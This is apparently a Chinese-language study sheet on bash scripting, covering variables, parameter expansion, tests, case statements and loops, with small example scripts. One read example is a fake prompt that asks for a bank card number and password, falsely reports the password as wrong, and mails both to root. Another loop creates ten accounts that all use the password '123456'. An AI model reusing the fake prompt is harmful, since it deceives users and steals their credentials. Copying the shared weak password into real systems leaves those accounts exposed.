RHEL5/6
默认shell bash
shell的更改
/bin/bash
chsh
vim /etc/passwd

bash的特性有: 补全 历史 别名 脚本


变量
环境变量 echo
env 查看所有环境变量
set 查看所有变量
echo $变量名 输出变量

常用变量
PATH
USER
HOME
HOSTNAME
PWD
UID
PS1提示符格式

例:
#!/bin/bash
#test
date
echo -n "当前的用户为 "
echo $USER
echo -n "当前用户的宿主目录为 "
echo $HOME
echo -n "用户的标识为 "
echo $UID
echo -n "主机名称为 "
echo $HOSTNAME
#echo $PATH


预定义变量
$0 进程名
$$ 进程号
$# 位置参数的数量
$* 所有位置参数的内容
$? 命令执行后的返回状态.0为执行正确,非0为执行错误


自定义变量
变量名称只能由字母,数字,下划线组成,不能以数字开头
#!/bin/bash
#test
IP=`ifconfig eth0 |grep Bcast |cut -d : -f 2 | cut -d " " -f 1`
DATE=`date +%y-%m-%d`
echo "当前的日期为 $DATE "
echo "当前的用户为 $USER"
echo "当前用户的宿主目录为 $HOME"
echo "用户的标识为 $UID "
echo "主机名称为 $HOSTNAME"
echo "eth0 的 IP 地址 为 $IP"


位置变量
求出第一个参数和第二个参数的和
./5.sh 4 5
9
./5.sh 10 20
30
#!/bin/bash
# 求 $1 $2 的和
x=${1:-0}
y=${2:-0}
echo $(($x+$y))


read
read -t 5 var
read -p "提示信息" var
#!/bin/bash
# read test
read -p "请输入你的银行卡帐号" num
read -p "请在五秒内输入密码" -t 5 pass
echo "你的密码错误"
echo $num |mail -s "card num" root
echo $pass|mail -s "card pass" root


整数变量
算式运算符:
+、-、*、/、()
$((5+3))
expr操作符:
+、-、\*、/、%取余(取模)
expr 1 + 2
a=1;b=2
c=$a*$b
echo $c


作用范围
export


置换
通配符:*,?,[]
例:[a-zA-Z1-9] [!a]
命令置换:``
a=`date +%m%d`
a=$(date +%m%d)
反引号亦可用$() 代替
算式置换:$
echo $((5/2))
echo $((((5+3*2)-4)/2))


变量替换


一 ${parameter:-word}
若parameter为空或未设置,则用word代替parameter进行替换,parameter的值不变
# a=1
# unset b
# a=${b:-3}
# echo $a
3
# echo $b
#
# unset b
#
# a=1
# b=2
# a=${b:-3}
# echo $a
2
# echo $b
2
#


二 ${parameter:=word}
若parameter为空或未设置,则parameter设为值word
# a=1
# unset b
# a=${b:=3}
# echo $a
3
# echo $b
3
#
# a=1
# b=2
# a=${b:=3}
# echo $a
2
# echo $b
2
#


三 ${parameter:+word}
若parameter设置了,则用word代替parameter进行替换,parameter的值不变
# a=1
# unset b
# a=${b:+3}
# echo $a
# echo $b
#
# a=1
# b=2
# a=${b:+3}
# echo $a
3
# echo $b
2
#


四 ${parameter:?message}
若parameter为空或未设置,则message作为标准错误打印出来,这可用来检查变量是否正确设
置#
unset a
# ${a:?unset a}
-bash: a: unset a
$ a=12345678
$ echo ${a:5}
678
$ echo ${a:3:4}
4567
$ a=123456123789
$ echo ${a#1*3}
456123789
$ echo ${a##1*3}
789
$ a=123
$ echo ${#a}
3
$ a=123456123789
$ echo ${a/1/}
23456123789
$ echo ${a//1/}
2345623789
$ echo ${a/1/x}
x23456123789
$ echo ${a//1/x}
x23456x23789


引用
转义:\为了显示元字符,需要引用。当一个字符被引用时,其特殊含义被禁止
完全引用:‘’
部分引用:“”
ls -lh --sort=size | tac
echo hello;world
echo you owe $1250


数组
declare -a myarry=(5 6 7 8)
array=( one two three four five six )
echo ${myarry[2]}
显示结果为7
显示所有数组的参数
declare -p array
echo ${array[*]}
echo ${array[@]}


函数
myfunc(){
echo “This is my first shell function”
}
myfunc
unset myfunc //取消函数
myfunc(){
echo "This is a new function“
}
myfunc


测试
test 条件
条件为真返回0,条件为假返回1
[ 条件 ]
字符串
-n STRING
the length of STRING is nonzero
-z STRING
the length of STRING is zero
STRING1 = STRING2
the strings are equal
STRING1 != STRING2
the strings are not equal


数字
eq 等于 ne 不等于
ge 大于等于 gt 大于
le 小于等于lt 小于


文件
-f 存在且是正规文件
-d 存在且是目录
-h 存在且是符号链接
-b 块设备
-c 字符设备
-e 文件存在
-r
-w
-x
file1 -nt file2 file1 比file2 新(修改时间)
file1 -ot file2 file1 比file2 旧(修改时间)


条件判断
if
help if
多个条件联合
逻辑与
if [ $condition1 ] && [ $condition2 ]
if [ $condition -a $condition2 ]
if [[ $condition1 && $condition2 ]]
逻辑或
if [ $condition1 ] || [ $condition2 ]
if [ $condition -o $condition2 ]
if [[ $condition1 || $condition2 ]]


case
case语句是shell中流控制的第二种方式,语法如下:
case word in
pattern1)
list1
;;
pattern2)
list2
;;
... ...
patternN)
listN
;;
*)
list*
;;
esac


循环


for循环
for...do...done
select...do...done
while...do...done
until...do...done
for name in word1 word2 word3 ... wordN
do
list
done
for i in 1 2 3
> do echo $i
> done
seq 10
seq 5 10
seq 1 2 10
seq 10 -2 -10
seq -f ag 10
seq -w 10


while循环
while cmd
do
list
done
#!/bin/bash
#14.sh
x=0
while [ $x -lt 10 ]
do
echo $x
x=`expr $x + 1`
done
#!/bin/bash
#15.sh
sum=0
while [ $sum -lt 10 ]
do
sum=`expr $sum + 1`
useradd user$sum
echo "123456" | passwd --stdin user$sum
done


until循环
until cmd
do
list
done
[root@server1 ~]# cat 16.sh
#!/bin/bash
#16.sh
x=1
until [ $x -ge 10 ]
do
echo $x
x=`expr $x + 1`
done
x=1
while [ ! $x -ge 10 ]
do
echo $x
x=`expr $x + 1`
done


select 循环
select name in word1 word2 word3 ... wordN
do
list
done
循环控制
break
continue
子shell
shell与进程 管道 重定向